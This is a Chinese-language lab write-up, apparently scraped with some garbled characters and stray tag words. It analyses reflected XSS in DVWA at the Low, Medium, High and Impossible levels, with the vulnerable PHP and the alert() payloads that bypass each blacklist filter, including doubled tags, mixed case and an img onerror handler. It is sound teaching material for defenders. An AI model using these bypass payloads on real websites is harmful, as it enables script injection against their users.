跨站腳本×××(XSS)是客戶端腳本安全中的頭號大敵。OWASP TOP 10 威脅屢次把 XSS 列在榜首。php
1.XSS 簡介
html
跨站腳本×××(Cross Site Script),原本縮寫是CSS,可是爲了和層疊樣式表(Cascading Style Sheet,CSS)有所區別,因此在安全領域叫作 「 XSS 」。前端
XSS ×××,一般指×××經過 「HTML 注入」 篡改了網頁,插入了惡意的腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種×××。在一開始,這種×××的演示案例是跨域的,因此叫作 「 跨站腳本 」。現今,因爲 Javascript 的強大功能以及網站前端用的複雜化,是否跨域已經再也不重要。可是因爲歷史緣由,XSS 這個名字卻一直保留下來。正則表達式
2. 本身搭建個 DVWA (因爲個別緣由,此次就寫反射型 XSS)跨域
反射型 XSS瀏覽器
面對四種級別的代碼進行分析。安全
LOW服務器
服務器端核心代碼
session
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>
能夠看到,代碼直接引用了name參數,並無任何的過濾與檢查,存在明顯的XSS漏洞。
xss
漏洞利用
輸入<script>alert(/XSS/)</script>,成功彈框:
Medium
服務器端核心代碼
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
能夠看到,這裏對輸入進行了過濾,基於黑名單的思想,使用str_replace函數將輸入中的<script>刪除,這種防禦機制是能夠被輕鬆繞過的。
漏洞利用
1.雙寫繞過
輸入 <sc<script>ript>alert(/xss/)</script>,成功彈框:
2.大小寫混淆繞過
輸入<ScRipt>alert(/xss/)</script>,成功彈框:
High
服務器端核心代碼
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
能夠看到,High級別的代碼一樣使用黑名單過濾輸入,preg_replace()函數用於正則表達式的搜索和替換,這使得雙寫繞過、大小寫混淆繞過(正則表達式中i表示不區分大小寫)再也不有效。
漏洞利用
雖然沒法使用<script>標籤注入XSS代碼,可是能夠經過img、body等標籤的事件或者iframe等標籤的src注入惡意的js代碼。
輸入<img src=1 onerror=alert(/xss/)>,成功彈框:
Impossible
服務器端核心代碼
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
能夠看到,Impossible級別的代碼使用htmlspecialchars函數把預約義的字符&、」、 ’、<、>轉換爲HTML實體,防止瀏覽器將其做爲HTML元素。